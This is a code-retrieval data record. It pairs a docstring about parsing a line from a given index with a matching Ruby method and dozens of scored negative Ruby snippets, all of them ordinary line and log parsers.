"def parse_line(line)\n case line\n when /^SF:(.+)/\n @current_filename = $~[1].gsub(/^\\.\\//, '')\n source_files[@current_filename] = []\n when /^DA:(\\d+),(\\d+)/\n line_no = $~[1]\n covered = $~[2]\n source_files[@current_filename] << [line_no.to_i, covered.to_i]\n when /^(BRF|BRH):(\\d+)/\n # branches found/hit; no-op\n when /^BRDA:(\\d+),(\\d+),(\\d+),(-|\\d+)/\n line_no = $~[1]\n block_no = $~[2]\n branch_no = $~[3]\n covered = ($~[4] == '-' ? '0' : $~[4])\n source_files[@current_filename] << [line_no.to_i, block_no.to_i, branch_no.to_i, covered.to_i]\n when /^end_of_record$/, /^$/\n @current_filename = nil\n else\n raise LcovParseError, \"could not recognise '#{line}' as valid LCOV\"\n end\n end",
"def current_line\n load_rest_of_line\n backup.current_line\n end",
"def advance\n @level = -1\n loop do\n read_line\n return if @line.nil?\n break if @line !~ /^\\s*$/\n end\n @level, @tag, @data = @line.chomp.split(/\\s+/, 3)\n @level = @level.to_i\n end",
"def process_line(lineno, tokens)\n if (tag_line = TAGS[@parse_state.state]) == nil\n raise \"In unknown state (#{@parse_state.state})\"\n elsif (tag_spec = tag_line[ tokens.index ]) == nil\n if tokens.tag[0,1] == \"_\" || @parse_state.state == :user_subtag\n print \"Unknown tag #{tokens}. \"\n tokens.user_tag \n pp \"Converted to #{tokens}\"\n process_line(lineno, tokens)\n else\n raise \"Tag ([#{tokens.tag},#{tokens.xref}]) not valid in this state (#{@parse_state.state})\"\n end\n elsif tag_spec[CHILD_RECORD] != nil #don't push nil states, as these represent terminals\n #Run the handler for this line.\n @transmission.action_handler lineno, tokens, *tag_spec\n #switch to new state\n @parse_state << tag_spec[CHILD_RECORD]\n else \n #Run the handler for this line.\n @transmission.action_handler lineno, tokens, *tag_spec\n end\n \n end",
"def possibly_add_trace_info_calls(line)\n # If the current line does not start a logical line, don't bother\n if not @state[:ll_start]\n return line\n end\n\n # We will be making decisions based on the first word on the line\n line_words = line.split\n if line_words.empty?\n # The line is empty, so we disregard it\n return line\n end\n first_word = line_words[0]\n\n # Extract first word and check if it makes us want to refrain from adding a line number call\n if KEYWORDS_WITHOUT_LINE_NUMBERS.include?(first_word)\n # It's one of the statements we don't want\n return line\n\n elsif [\"'\", '\"', \"#\"].include?(first_word[0])\n # The line starts with a string or with a comment\n return line\n end\n\n # Do include a line number call\n return \"#{@state[:indent_string]}garbledwebpiratenlibraryname.debug(locals(), globals())\\n\" +\n \"#{@state[:indent_string]}garbledwebpiratenlibraryname.line(#{@state[:line_number]})\\n\" +\n \"#{line}\"\n end",
"def at_line(context, _file, _line)\n resume_pry(context)\n end",
"def parse(lineno, line)\n tokens = GedLine.new *line.chomp.strip.split(/\\s/)\n parse_line(lineno, tokens)\n end",
"def process_new_line\n @status.line += 1\n\n @skip_next = true if ((@cur_char == \"\\n\" && @next_char == \"\\r\") ||\n (@cur_char == \"\\r\" && @next_char == \"\\n\"))\n end",
"def handle(line)\n parsed = parse(line)\n return unless parsed\n\n handle_parsed(parsed)\n end",
"def log_line_parse(line, options={})\n options={\n :link_to_url => nil, #url /browse/server/#chatroom/00000000\n }.update options\n if line =~ /^---/\n \"\" #strip log open/close stuff. \n else\n date = line[0..7] #ignore 00:00:00\n hx = Digest::MD5.hexdigest(date)\n line = line[8..-1]\n type = case line\n when /^ * [^ ]+ /\n :action_line\n when /^<.[^>]+>/\n :message_line\n when /^-!-/\n case line\n when /now known as/\n :nick_change_line\n when /has (joined|left|quit)/\n :join_part_quit_line\n when /^-!- mode\\//\n :mode_change_line\n end\n end\n type = :unknown_line unless type\n date_line = '<span class=\"line-date\">'\n date_line << \"<a href=\\\"#{options[:link_to_url]}##{hx}\\\">\" if options[:link_to_url]\n date_line << date\n date_line << '</a>' if options[:link_to_url]\n date_line << '</span>'\n%s{<span class=\"line-date\">#{date}</span>}\n<<-END\n <div class=\"#{type}\"><a name=\"#{hx}\">\n #{date_line}\n <span class=\"line-body\">\n #{send(type, line)}\n </span>\n </a></div>\nEND\n end\nend",
"def process_line( line )\n if line =~ /\\*#{@action}\\*/\n changed\n log = @log_class.new( line ) \n notify_observers( log )\n end\n end",
"def process_line(line)\n if (@custom_processor && @custom_processor.class.method_defined?(:process_line))\n @custom_processor.process_line line\n else\n line.split ' '\n end\n end",
"def prepare(line)\n @logger.debug \"Looking at #{line.paragraph_type}: #{line.to_s}\"\n if not should_accumulate_output?(line) then\n flush!\n maintain_list_indent_stack(line)\n @output_type = line.paragraph_type \n end\n push_mode(:inline_example) if line.inline_example? and current_mode != :inline_example\n pop_mode(:inline_example) if current_mode == :inline_example && !line.inline_example?\n push_mode(:table) if enter_table?\n pop_mode(:table) if exit_table?\n @buffered_lines.push(line)\n end",
"def checkLine\r\n\t\tif(@Line == \"\" || @Line == nil || @Line == \"\\n\" || @Line == \"\\r\\n\")\r\n\t\t\tnextLine\r\n\t\tend\r\n\tend",
"def original_line; end",
"def at_line\n resume_pry\n end",
"def fix_input_line\n @input_line\n end",
"def fresh_line?; end",
"def process_line(line)\n return true if line.empty?\n\n chunks = line.split(SPLIT_PATTERN, fmt.length)\n enough_fields?(line) # can raise exception\n\n point = { path: extract_path(chunks),\n value: extract_value(chunks) }\n\n tags = line_tags(chunks)\n\n point.tap do |p|\n p[:tags] = tags unless tags.empty?\n p[:ts] = extract_ts(chunks) if fmt.include?('t')\n p[:source] = extract_source(chunks) if fmt.include?('s')\n p[:interval] = options[:interval] || 'm' if fmt.include?('d')\n end\n end",
"def dup_adding_state(line)\n self.class.new(queue, codec, path).add_state(line)\n end",
"def parse_line_break; end",
"def parse_bx_line(line)\n @current_train.update_from_cif line\n end",
"def nextLine\r\n\t\twhile (@allLines[0] == \"\" || @allLines[0] == \"\\r\\n\" || @allLines[0] == \"\\n\")\r\n\t\t\[email protected]\r\n\t\tend\r\n\t\tif(@allLines[0]!=nil)\r\n\t\t\t@Line = @allLines[0]\r\n\t\t\[email protected]\r\n\t\t\tcheckSpace\r\n\t\tend\r\n\tend",
"def current_line\n\n seek_line_head\n @file.gets\n end",
"def line_postprocess(line)\n # Forces the values to be ASCII strings\n asciify(line)\n\n line[:quotation_time] = ::Nordea.parse_time(line[:quotation_time])\n line[:reserved].strip! if line[:reserved].respond_to? :strip!\n fill_proper_rate_type(line)\n\n line[:euro_area] = (line[:euro_area] == '1')\n\n line[:euro_adoption_date] = if line[:euro_area]\n Nordea.parse_date(line[:euro_adoption_date])\n else\n nil\n end\n\n line[:currency_expiry] = (line[:currency_expiry] == 'K')\n line[:currency_convertability] = (line[:currency_convertability] == 'K')\n floatify(line)\n\n line\n end",
"def _parse_line line\n # note there could be multiple Supplementary cards\n if line[0].start_with? \"Main\"\n @statement.suffix = \"_main\"\n elsif line[0].start_with? \"Supplementary\"\n _new_statement \"_supp\"\n end\n return unless (Date.parse(line[0]) rescue false)\n _write_to_statement line[0], line[1], line[2], line[3]\n end",
"def parse\n line = @io.gets until md = /\\ATime before run:\\s+(?<time>.*)\\Z/.match(line)\n return unless md\n @db.date_time ||= DateTime.parse(md[:time])\n super\n @db[\"lparstat_out\"] = @db[\"lparstat_sum\"]\n end",
"def exec_env_current_line\n get('insert linestart', 'insert lineend')\n end",
"def parse_blank_line; end",
"def parse_line(line)\n begin\n @loggie.write(\"#{line}\\n\")\n line = line.split(\" \")\n if line[9] == 'voice'\n return Message.new(line[12],line[15],'started.',line[0].to_f,GROUP,line[8])\n elsif line[9] == 'end'\n return Message.new(line[14],line[17].gsub(',',''),'ended.',line[0].to_f,GROUP,line[8])\n elsif line[7] == \"audio\"\n led(\"rx\", line[-2].split('/')[0].to_i / 141.0)\n return \"audio\"\n elsif line[6] == 'group'\n return Message.new(line[4],line[7],line.last,line[0].to_f,GROUP,\"RF\")\n elsif line =~ /Call from/\n return Message.new(line[4],line[6],line.last,line[0].to_f,PRIV,\"RF\")\n end\n rescue => e\n @@logger.debug(e.inspect)\n @@logger.debug(e.backtrace)\n exit 1\n end\n end",
"def process_line line\n if line.include?(\"@\") && @add_tags_to_main\n @nd[:main_tags] << line \n elsif line.include?(\"Feature:\")\n @nd[:feature] = line.sub(\"Feature:\",\"\")\n @add_tags_to_main = false\n elsif line.include?(\"Scenario:\")\n @nd[:scenarios].push({:name => line.sub(\"Scenario:\",\"\"), :steps => []})\n @add_to_s = true\n elsif\n begin\n @nd[:scenarios].last[:steps].push(line) if @add_to_s\n @add_to_s = true \n rescue\n end\n end\n end",
"def parse_bsr_line(line)\n finish_current_train\n @current_train = TrainSchedule.new\n @current_train.update_from_cif line\n @current_train_action = :update\n end",
"def process_line(_line)\n raise NotImplementedError\n end",
"def parse_bsd_line(line)\n finish_current_train\n train = TrainSchedule.new\n train.update_from_cif line\n @on_train_schedule_delete&.call self, train\n end",
"def update!(**args)\n @line = args[:line] if args.key?(:line)\n end",
"def parse_line(line)\n raise Puppet::DevError, \"No record types defined; cannot parse lines\" unless records?\n\n @record_order.each do |record|\n # These are basically either text or record lines.\n method = \"handle_#{record.type}_line\"\n if respond_to?(method)\n if result = send(method, line, record)\n record.send(:post_parse, result) if record.respond_to?(:post_parse)\n return result\n end\n else\n raise Puppet::DevError,\n \"Somehow got invalid line type #{record.type}\"\n end\n end\n\n nil\n end",
"def to_next_line\n @history.save_line(line || \"\")\n\n if @history.to_next_line and line = @history.current_line\n replace_line line\n end\n end",
"def line\n\t\t\[email protected](buffer.line.start, buffer.line.end)\n\t\tend",
"def status_line(line)\n @status_line = line\n unless @ping_from\n # Display this status line.\n STDOUT.write \"\\r\" # Move to the start of this line.\n STDOUT.write line # Write over it.\n STDOUT.flush\n end\n end",
"def _IndentedLine\n\n _save = self.pos\n while true # sequence\n _tmp = apply(:_Indent)\n unless _tmp\n self.pos = _save\n break\n end\n _tmp = apply(:_Line)\n unless _tmp\n self.pos = _save\n end\n break\n end # end sequence\n\n set_failed_rule :_IndentedLine unless _tmp\n return _tmp\n end",
"def _OptionallyIndentedLine\n\n _save = self.pos\n while true # sequence\n _save1 = self.pos\n _tmp = apply(:_Indent)\n unless _tmp\n _tmp = true\n self.pos = _save1\n end\n unless _tmp\n self.pos = _save\n break\n end\n _tmp = apply(:_Line)\n unless _tmp\n self.pos = _save\n end\n break\n end # end sequence\n\n set_failed_rule :_OptionallyIndentedLine unless _tmp\n return _tmp\n end",
"def on_line?(line)\n end",
"def setLine (line)\n @line = line\n end",
"def line=(_); end",
"def line=(_); end",
"def source_line=(_); end",
"def load_raw_line opts = OPTS_REGEX.keys\n self.raw_line.chomp!\n opts.each do |xfield|\n pattern = OPTS_REGEX[xfield]\n did_set = raw_setter xfield, pattern\n #puts did_set\n end\n end",
"def parse_debug_line_number(number_as_string)\n # Deduct 1 because kakoune always maintains an extra empty line at the end of the debug buffer.\n number_as_string.to_i - 1\nend",
"def process_initial(time_stamp, line)\n process(time_stamp, line)\n end",
"def from_line\n position.new_line\n end",
"def update_message_state!(line)\r\n if line[/^\\s*Notifications-Count\\s*:\\s*(\\d+)/i]\r\n @sections_left += $1.to_i\r\n end\r\n if line[/^.+:\\s*x-growl-resource:/i]\r\n @sections_left += 1\r\n end\r\n if line.empty?\r\n @sections_left -= 1\r\n end\r\n #puts line\r\n #puts \"Note: #{@sections_left} more sections\"\r\n end",
"def parse_logline(line) \n line.strip!\n split_line = line.split(/\\|/)\n addr = split_line[0].split(',').last.strip\n\n unless (addr =~ /[\\s|\\-]+/) \n @dns_map.synchronize do\n addr = @dns_map[addr] if @dns_map.include? addr\n end\n details = {}\n details[:upstream_response_time] = split_line[1].split(',').last.strip.to_f\n details[:time_local] = DateTime.strptime(split_line[2], '%d/%b/%Y:%H:%M:%S %Z')\n details[:status] = split_line[3].to_i\n details[:request_length] = split_line[4].to_i\n details[:body_bytes_sent] = split_line[5].to_i\n\n\n @log_entries.synchronize do\n @log_entries[addr] << details\n end\n end \n end",
"def process_line line\n\tcase line\n\n\twhen /^([a-z]+) is ([I|V|X|L|C|D|M])$/\n\t\tset_space_unit($1, $2)\n\n\twhen /^([a-z ]+)([A-Z]\\w+) is (\\d+) Credits$/\n\t\tget_metals_value($1.split, $2, $3)\n\n\twhen /^how much is ((\\w+ )+)\\?$/ # Get space_units and convert to numeral\n\t\tres = get_numeral_from_space_unit($1.split)\n\t\tputs \"#{$1}is #{res}\"\n\n\twhen /^how many Credits is ([a-z ]+)([A-Z]\\w+) \\?$/\n\t\tres = (get_numeral_from_space_unit($1.split) * @metals_values[$2]).to_i\n\t\tputs \"#{$1}#{$2} is #{res} Credits\"\n\n\telse\n\t\tputs \"I have no idea what you are talking about\"\n\tend\nend",
"def execute\n state = current_state\n line.each_char do |character|\n state = current_state\n transition = process_character(character)\n log_initial_transition(transition, state)\n self.token += character\n end\n logger.log(state: state, character: token)\n end",
"def scan(line)\r\n @current_filter.append(line)\r\n @parser.skip_line\r\n end",
"def process_line(line)\n command_match, arg_string, captures, args = tokenize(line)\n\n check_for_command_collision(command_match, arg_string) if Pry.config.collision_warning\n\n self.arg_string = arg_string\n self.captures = captures\n\n call_safely(*(captures + args))\n end",
"def extract_status_line(line)\n line =~ /RTSP\\/(\\d\\.\\d) (\\d\\d\\d) ([^\\r\\n]+)/\n @rtsp_version = $1\n @code = $2.to_i\n @message = $3\n\n if @rtsp_version.nil?\n raise RTSP::Error, \"Status line corrupted: #{line}\"\n end\n end",
"def parse_line line, contexts\n line = line.encode Encoding::UTF_8 if encode_lines?\n\n handler = handler_for_line line\n\n handler.process line, contexts\n end",
"def parse_line(line)\n is = new\n line =~ /(.+)\\s+<-\\s+(.+?)\\s+\\((\\d+\\.\\d)(?:\\/(\\d+))?,\\s+(\\d+\\.\\d)\\)/\n consequent, antecedent, support, transactions, confidence = $1, $2, $3, $4, $5\n is.consequent = consequent \n is.antecedent = antecedent.split(/\\s+/)\n is.support = support.to_f\n is.num_antecedent_transactions = transactions ? transactions.to_i : nil\n is.confidence = confidence.to_f\n is\n end",
"def parse_line(line)\n ln, fn, mi, sex, fav_color, dob = line.split(' | ')\n LineParser.to_h(fn, ln, mi, sex, fav_color, parse_dob(dob))\n end",
"def parse\n lines = text.lines.to_a\n\n @header = lines.shift.strip\n\n parse_release_stamp(@header)\n\n # remove blank lines from top\n lines.shift until lines.first !~ /^\\s+$/\n\n idx = find_changes(lines)\n\n if idx.nil?\n @notes = lines.join\n @changes = ''\n elsif idx > 0\n @notes = lines[0...idx].join\n @changes = lines[idx..-1].join\n else # hmmm... is this ever used?\n gap = lines.index{ |line| /^\\s*$/ =~ line }\n @changes = lines[0...gap].join\n @notes = lines[gap..-1].join\n end\n end",
"def _parse_irc_line(state, dir, req, line)\n cmd = ''\n line[-1, 1] = '' if line[-1, 1] == \"\\r\" # strip if necessary\n\n # Throw the generic IRC line event\n @event_collector.send(:irc_line) do\n { :server_ip => str_ip(state.app_state[:dst]),\n :client_ip => str_ip(state.app_state[:src]),\n :server_port => state.app_state[:dport],\n :client_port => state.app_state[:sport], :line => req.buff,\n :nick => req.nick, :server => req.server, :dir => dir }\n end\n\n # First let's get the \"command\" if there is one\n cpos = line.index(' ')\n cmd = line[0, cpos] if cpos\n \n # Commands in IRC put the \"verb\" up front\n if cmd.upcase == cmd\n case cmd\n # User is initiating login. More data to come soon.\n when 'NICK'\n req.nick = line.split.last\n\n # User is providing subsequent login data. Let's take a peek\n when 'USER'\n line = line.split\n req.username = line[1] \n req.mode = line[2] # Mode is used for arbitrary data\n req.unused = line[3] # So does the \"unused\" field\n req.real_name = (line[4..-1] || []).join(' ').sub(':', '')\n\n # Send in a login event\n @event_collector.send(:irc_login) do\n { :server_ip => str_ip(state.app_state[:dst]),\n :client_ip => str_ip(state.app_state[:src]),\n :server_port => state.app_state[:dport],\n :client_port => state.app_state[:sport],\n :nick => req.nick, :server => req.server,\n :username => req.username, :mode => req.mode, :dir => dir,\n :real_name => req.real_name, :unused => req.unused }\n end\n\n # Better indicator of channel joining than \"join\"\n when 'MODE'\n if line[cpos+1,1] == '#' # We're joining a channel\n @event_collector.send(:irc_channel_join) do\n channel = line.split[1]\n { :server_ip => str_ip(state.app_state[:dst]),\n :client_ip => str_ip(state.app_state[:src]),\n :server_port => state.app_state[:dport],\n :client_port => state.app_state[:sport],\n :nick => req.nick, :server => req.server,\n :channel => channel, :dir => dir }\n end\n end # of if-channel-join\n\n # Intercept an outgoing message\n when 'PRIVMSG'\n bpos = line.index(':', cpos)\n return nil unless bpos\n recipient = line[cpos...bpos].strip\n msg = line[bpos+1..-1]\n @event_collector.send(:irc_outgoing_msg) do\n { :server_ip => str_ip(state.app_state[:dst]),\n :client_ip => str_ip(state.app_state[:src]),\n :server_port => state.app_state[:dport],\n :client_port => state.app_state[:sport],\n :nick => req.nick, :server => req.server,\n :recipient => recipient, :body => msg, :dir => dir }\n end\n @event_collector.send(:protos_chat_message) do\n { :server_ip => str_ip(state.app_state[:dst]),\n :client_ip => str_ip(state.app_state[:src]),\n :server_port => state.app_state[:dport],\n :client_port => state.app_state[:sport], :dir => dir,\n :chat_dir => :outgoing, :recipient => recipient,\n :sender => req.nick, :protocol => :irc, :content => msg }\n end\n\n # User is leaving a channel\n when 'PART' \n if line[cpos+1,1] == '#' # We're leaving a channel\n @event_collector.send(:irc_channel_part) do\n channel = line.split[1]\n { :server_ip => str_ip(state.app_state[:dst]),\n :client_ip => str_ip(state.app_state[:src]),\n :server_port => state.app_state[:dport],\n :client_port => state.app_state[:sport], \n :nick => req.nick, :server => req.server,\n :channel => channel, :dir => dir }\n end\n end # of if-channel-part\n\n end # of case cmd\n\n # Notice messages in IRC put the verb in the middle, start with a ':'\n elsif line[0,1] == ':'\n npos = line.index(' ', cpos+1) # Find the second space\n cmd2 = line[cpos+1...npos]\n\n # If this is a number, then we can use it to get the server string\n if cmd2 =~ /^[0-9]{3}$/\n req.server ||= cmd.sub(':', '')\n\n # If we have a recognized, all-caps word then it's probably a verb!\n elsif cmd2.upcase == cmd2\n case cmd2\n\n # Someone is sending us (our our channel) a message\n when 'PRIVMSG'\n bpos = line.index(':', npos)\n return nil unless bpos\n recipient = line[npos...bpos].strip\n msg = line[bpos+1..-1]\n return nil if (msg[0] || 0) < 9\n sender = cmd.sub(':', '').split('!')\n @event_collector.send(:irc_incoming_msg) do\n { :server_ip => str_ip(state.app_state[:dst]),\n :client_ip => str_ip(state.app_state[:src]),\n :server_port => state.app_state[:dport],\n :client_port => state.app_state[:sport],\n :nick => req.nick, :server => req.server,\n :recipient => recipient, :body => msg, :dir => dir,\n :sender => sender[0], :sender_location => sender[1] }\n end\n @event_collector.send(:protos_chat_message) do\n unless recipient == req.nick\n recipient = \"#{recipient} (#{req.nick})\"\n end\n { :server_ip => str_ip(state.app_state[:dst]),\n :client_ip => str_ip(state.app_state[:src]),\n :server_port => state.app_state[:dport],\n :client_port => state.app_state[:sport], :dir => dir,\n :chat_dir => :incoming, :recipient => recipient,\n :sender => sender[0], :protocol => :irc, :content => msg }\n end\n\n end # of case cmd2\n end # of type-of-server-message\n\n # We don't understand this message. What the hell is it?\n else \n\n end # of line type\n end",
"def space()\n # pocitanie riadkov\n self.line.push position if /\\n/ === data[position]\n /\\s/ === data[position]\n\n end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def line; end",
"def line=(line)\n @session.request(:vim_set_current_line, line)\n end",
"def breakpoint_line(line_number, initial_iseq, temp=false)\n # FIXME: handle breakpoint conditions.\n found_iseq = initial_iseq.child_iseqs.detect do |iseq|\n iseq.lineoffsets.keys.member?(line_number)\n end\n unless found_iseq\n found_iseq = initial_iseq.parent\n while found_iseq do\n break if found_iseq.lineoffsets.keys.member?(line_number)\n found_iseq = found_iseq.parent\n end\n end\n offset =\n if found_iseq\n # FIXME\n found_iseq.line2offsets(line_number)[1] ||\n found_iseq.line2offsets(line_number)[0]\n else\n nil\n end\n unless offset\n place = \"in #{iseq.source_container.join(' ')} \" if found_iseq\n errmsg(\"No line #{line_number} found #{place}for breakpoint.\")\n return nil\n end\n @brkpts.add(found_iseq, offset, :temp => temp)\n end",
"def set_line_control_data\n\n packhouse = Facility.active_pack_house.facility_code\n @line_id = Line.get_line_for_packhouse_and_line_code(packhouse, @selected_line_code).id\n @runs_on_line = ProductionRun.get_active_runs_for_line(@line_id)\n @editing_runs_on_line = ProductionRun.get_editing_runs_for_line(@line_id)\n\n recent_run_ids=get_recent_rebinning_run_on_line(@runs_on_line)\n puts \"n runs on line: \" + @runs_on_line.length.to_s\n end",
"def state_request_line\n # check request line size\n if line = @in.get_line\n if line.size > MAX_REQUEST_LINE_SIZE\n raise BadRequestError, \"Invalid request size\"\n end\n @request.parse_request_line(line)\n set_state(:state_request_headers)\n end\n end",
"def process_line(line, &block)\n return enum_for(:process_line, line) unless block\n\n if @row_index < header_lines\n consume_header_line(line, @columns)\n else\n transform_line(line, @row_index, &block)\n end\n\n @row_index += 1\n\n # We've now seen enough lines to have consumed a valid header; is this the case?\n fail_unless_header_complete(@columns) if @row_index == header_lines\n\n @notifier.try(:processed, @row_index)\n end",
"def clean_line(line)\n line.strip\n end",
"def enter_line(line)\n handle_fiber(line.chomp)\n end",
"def parse_and_validate_line(line)\n\n entry = parse_entry(line)\n return entry unless entry.parse_ok?\n\n valid_chain=is_valid_hash(entry)\n @invalid += 1 if valid_chain === false\n @num += 1\n\n entry\n end"
] |
[
"0.6825828",
"0.628224",
"0.6175689",
"0.61514974",
"0.6083741",
"0.6038013",
"0.5950708",
"0.58755577",
"0.58650756",
"0.58615386",
"0.5829019",
"0.5824398",
"0.57877284",
"0.57575405",
"0.57494915",
"0.57379824",
"0.5707236",
"0.5699989",
"0.5694314",
"0.5688079",
"0.5673958",
"0.5599433",
"0.55728084",
"0.55621684",
"0.55556244",
"0.5549773",
"0.55188626",
"0.54912585",
"0.54697406",
"0.5457425",
"0.5453872",
"0.5445882",
"0.5433541",
"0.5401304",
"0.5398313",
"0.53977674",
"0.5379092",
"0.5373818",
"0.5365009",
"0.53620446",
"0.53615165",
"0.5338982",
"0.5332414",
"0.5328711",
"0.532853",
"0.53241765",
"0.5320976",
"0.53063035",
"0.5301797",
"0.52971464",
"0.5281444",
"0.52770656",
"0.5262549",
"0.52624",
"0.52447736",
"0.5243075",
"0.5230627",
"0.5227358",
"0.5227358",
"0.5223611",
"0.52036434",
"0.51984924",
"0.5198155",
"0.51980555",
"0.5193981",
"0.51828843",
"0.51775753",
"0.5175537",
"0.5168134",
"0.516142",
"0.5156499",
"0.51502466",
"0.5147357",
"0.5142748",
"0.51370525",
"0.51330066",
"0.5129764",
"0.51252455",
"0.51252455",
"0.51252455",
"0.51252455",
"0.51252455",
"0.51252455",
"0.51252455",
"0.51252455",
"0.51252455",
"0.51252455",
"0.51252455",
"0.51252455",
"0.51252455",
"0.51252455",
"0.51252455",
"0.5119887",
"0.51162815",
"0.5115892",
"0.5099929",
"0.5099349",
"0.50980747",
"0.50969243",
"0.50950825"
] |
0.6594313
|
1
|
Parses a line starting at the given index under the assumption that the start index is not inside a string. Returns the index of the next character to be parsed. This method parses either until the end of the line is reached (in which case the returned index is equal to the line's length) or until it runs inside a string (in which case the returned index points to the string's first character). Note: This method expects to be called on a line that has had trailing whitespace removed.
|
def parse_characters_normal(line, start_index)
index = start_index
while index < line.length
if [ "(", "{", "[" ].include?(line[index])
# Opening brace
@state[:open_braces] += 1
index += 1
elsif [ ")", "}", "]" ].include?(line[index])
# Closing brace
@state[:open_braces] -= 1
index += 1
elsif line[index] == "#"
# We have found the start of a comment, so ignore the rest of the line
index = line.length
elsif line[index] == "\\" && index == line.length - 1
# We have found a backslash as the last character -> line continuation
@state[:line_continuator] = true
index += 1
elsif line[index] == '"""'
# We have found a triple-quoted string. Advance index and leave
@state[:in_string] = '"""'
index += 3
break
elsif line[index] == "'''"
# We have found a triple-quoted string. Advance index and leave
@state[:in_string] = "'''"
index += 3
break
elsif line[index] == '"'
# We have found a single-quoted string. Advance index and leave
@state[:in_string] = '"'
index += 1
break
elsif line[index] == "'"
# We have found a single-quoted string. Advance index and leave
@state[:in_string] = "'"
index += 1
break
else
# Advance a character
index += 1
end
end
return index
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def line_from_char(index = -1)\n send_message(:LINEFROMCHAR, index.to_i)\n end",
"def compute_line_index\n scanner = StringScanner.new(@string)\n result = [0] # first line starts at 0\n while scanner.scan_until(/\\n/)\n result << scanner.pos\n end\n @line_index = result\n end",
"def parse_characters_in_string(line, start_index)\n index = start_index\n\n # The delimiter that would end the current string\n delim = @state[:in_string]\n\n while index < line.length\n if line[index] == delim[0]\n # We have encountered the string's delimiter character. Check whether the user has escaped it\n if index > 0 && line[index - 1] == \"\\\\\"\n # It was escaped, so simply advance one character\n index += 1\n\n else\n # It was not escaped. Check whether we have as many delimiting characters as we need\n if line[index...index + delim.length] == delim\n # We have indeed reached the end of the string\n @state[:in_string] = nil\n index += delim.length\n break\n\n else\n # We have not reached the end of the string yet. Advance to the next character\n index += 1\n end\n end\n\n else\n # Advance a character\n index += 1\n end\n end\n\n return index\n end",
"def get_current_line(file, index)\n current_line = file[index.value]\n if !current_line.nil?\n current_line.chomp()\n end\n while (!current_line.nil?) && current_line.match(/\\A\\s*\\Z/)\n index.value += 1\n current_line = file[index.value]\n if !current_line.nil?\n current_line.chomp()\n end\n end\n return current_line\nend",
"def line_at(char)\n return nil unless char\n text[0..char].count(\"\\n\") + 1\n end",
"def line_index(pos=pos())\n p = n = 0\n string.each_line do |line|\n p += line.length\n return n if p >= pos\n n += 1\n end\n 0\n end",
"def line_index(pos=pos)\n p = n = 0\n string.each_line do |line|\n p += line.length\n return n if p >= pos\n n += 1\n end\n 0\n end",
"def line_at(io, char)\n read(io)[0..char].count(\"\\n\") + 1\n end",
"def NextChar\r\n\t\[email protected]!(0, 1)\r\n\tend",
"def character(index = nil)\n return '' if line && line.empty?\n return line[-1] unless index\n\n Vedeu::Editor::Item.by_index(line, index)\n end",
"def line_char_to_offset(text, line, character); end",
"def position(index)\n return [-1, -1] unless index < string.length\n\n row_start = @line_starts.select { |line_start| line_start <= index }.last\n row = @line_starts.index(row_start)\n column = index - row_start\n [row, column]\n end",
"def from_line_index\n from_line - 1\n end",
"def advance_position\n matched_fragment = @str[@[email protected]]\n new_lines = matched_fragment.count(\"\\n\")\n if new_lines > 0\n characters_after_last_newline = matched_fragment.size - matched_fragment.rindex(\"\\n\") - 1\n [@line + new_lines, 1 + characters_after_last_newline]\n else\n [@line, @char + matched_fragment.size]\n end\n end",
"def line\n @string[0..@index].split(\"\\n\").count\n end",
"def stringNextChar\r\n\t\[email protected]!(0, 1)\r\n\t\tcheckLine\r\n\tend",
"def next_match char\n data = get_content\n row = focussed_index + 1\n row.upto(data.length-1) do |ix|\n val = data[ix].chomp rescue return # 2010-01-05 15:28 crashed on trueclass\n #if val[0,1] == char #and val != currval\n if val[0,1].casecmp(char) == 0 #AND VAL != CURRval\n return ix\n end\n end\n row = focussed_index - 1\n 0.upto(row) do |ix|\n val = data[ix].chomp\n #if val[0,1] == char #and val != currval\n if val[0,1].casecmp(char) == 0 #and val != currval\n return ix\n end\n end\n return -1\n end",
"def next_match char\n data = get_content\n row = focussed_index\n currval = data[row].chomp\n row.upto(data.length-1) do |ix|\n val = data[ix].chomp\n if val[0,1] == char and val != currval\n return ix\n end\n end\n 0.upto(row) do |ix|\n val = data[ix].chomp\n if val[0,1] == char and val != currval\n return ix\n end\n end\n return -1\n end",
"def [](index)\n line[index]\n end",
"def nextChar\n if getChar == \"\\n\"\n @line += 1\n @column = @lastLineSize\n end\n @index += 1\n @column += 1\n end",
"def line\n return 1 unless lexing_context && locator\n locator.line_for_offset(lexing_context[:end_offset])\n end",
"def line_offset(pos=pos)\n p = 0\n string.each_line do |line|\n len = line.length\n return (pos - p) if p + len >= pos\n p += len\n end\n 0\n end",
"def string_parser(string_input)\n string_input.lines.each.with_index(1) do | line, index |\n puts \"Line #{index}: #{line}\"\n end\nend",
"def parse_line(line)\n # If the previous line didn't and a logical line, we're not going to start one. If it did,\n # we're indeed going to start a new logical line\n @state[:ll_start] = @state[:ll_end]\n\n # We will start with the assumption that we're going to end the current logical line. We may layer\n # find out that we did not, in fact, do so.\n @state[:ll_end] = true\n\n # Reset the line continuator flag the the last line may have set to true\n @state[:line_continuator] = false\n\n # Find the first non-(space/tab) character\n index = 0\n while index < line.length && [\" \", \"\\t\"].include?(line[index])\n index += 1\n end\n @state[:indent_string] = line[0...index]\n\n # Iterate over the line's characters as long as there are any. We use different iteration\n # methods depending on whether we're inside a string or not\n index = 0\n while index < line.length\n if @state[:in_string].nil?\n index = parse_characters_normal(line, index)\n else\n index = parse_characters_in_string(line, index)\n end\n end\n\n # We have reached the end of the line. Decide whether or not the logical line ends here.\n @state[:ll_end] = @state[:in_string].nil? && @state[:open_braces] == 0 && !@state[:line_continuator]\n end",
"def line_offset(pos=pos())\n p = 0\n string.each_line do |line|\n len = line.length\n return (pos - p) if p + len >= pos\n p += len\n end\n 0\n end",
"def get_char_position_in_line\n raise NotImplementedError\n end",
"def line_for_position(position); end",
"def line_for_position(position); end",
"def line_for_position(position); end",
"def line_offset(line_index)\n return unless line_exists?(line_index)\n line_index == 0 ? 0 : @line_lengths[0..(line_index - 1)].sum\n end",
